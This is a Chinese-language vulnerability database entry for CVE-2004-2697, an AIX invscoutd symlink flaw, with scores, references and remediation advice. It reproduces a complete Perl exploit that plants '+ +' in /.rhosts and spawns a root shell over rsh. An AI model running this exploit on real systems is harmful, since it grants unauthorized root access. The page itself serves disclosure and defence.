CVE-2004-2697
CVSS6.9
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 00:00:00
NMCOE    

[原文]The Inventory Scout daemon (invscoutd) 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument (log file). NOTE: this might be related to CVE-2006-5002.


[CNNVD]AIX Invscoutd符号连接漏洞(CNNVD-200412-422)

        
        IBM AIX是一款商业性质UNIX操作系统。
        AIX invscoutd不安全建立临时文件,本地攻击者可以利用这个漏洞提升权限。
        AIX invscoutd由于设计错误,允许用户指定一个日志文件来写入数据,恶意用户可以建议一个指向本地系统文件的符号连接,当运行invscoutd写入日志信息时,可破坏指向的本地文件,造成本地拒绝服务,或权限提升。
        

- CVSS (基础分值)

CVSS分值: 6.9 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-362 [使用共享资源的并发执行不恰当同步问题(竞争条件)]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:5.1IBM AIX 5.1
cpe:/o:ibm:aix:4.3.3IBM AIX 4.3.3
cpe:/o:ibm:aix:5.1lIBM AIX 5.1L

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2697
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2697
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-422
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/15620
(UNKNOWN)  XF  aix-invscoutd-gain-privileges(15620)
http://www.xfocus.org/exploits/200403/31.html
(UNKNOWN)  MISC  http://www.xfocus.org/exploits/200403/31.html
http://www.securityfocus.com/bid/9982
(UNKNOWN)  BID  9982
http://www.securiteam.com/exploits/5CP0F0UDFG.html
(UNKNOWN)  MISC  http://www.securiteam.com/exploits/5CP0F0UDFG.html
http://www.osvdb.org/4582
(UNKNOWN)  OSVDB  4582
http://secunia.com/advisories/11200
(VENDOR_ADVISORY)  SECUNIA  11200

- 漏洞信息

AIX Invscoutd符号连接漏洞
中危 竞争条件
2004-12-31 00:00:00 2007-10-09 00:00:00
本地  
        
        IBM AIX是一款商业性质UNIX操作系统。
        AIX invscoutd不安全建立临时文件,本地攻击者可以利用这个漏洞提升权限。
        AIX invscoutd由于设计错误,允许用户指定一个日志文件来写入数据,恶意用户可以建议一个指向本地系统文件的符号连接,当运行invscoutd写入日志信息时,可破坏指向的本地文件,造成本地拒绝服务,或权限提升。
        

- 公告与补丁

        厂商补丁:
        IBM
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.ers.ibm.com/

- 漏洞信息 (23883)

AIX 4.3.3/5.1 Invscoutd Symbolic Link Vulnerability (EDBID:23883)
aix local
2003-05-29 Verified
0 watercloud
N/A [点击下载]
source: http://www.securityfocus.com/bid/9982/info

Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.

This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.

#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1. 
#           Some high version of invscoutd is not affected.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF		

- 漏洞信息

4582
IBM AIX invscoutd Insecure Logfile Handling
Local Access Required Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

IBM inventory scout for AIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when running the invscoutd command using a malicous logfile name. This flaw may lead to escalated privileges an loss of confidentiality and/or integrity.

- 时间线

2004-03-26 Unknow
2004-03-26 Unknow

- 解决方案

Upgrade to latest version of inventory scout, as higher numbered versions have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站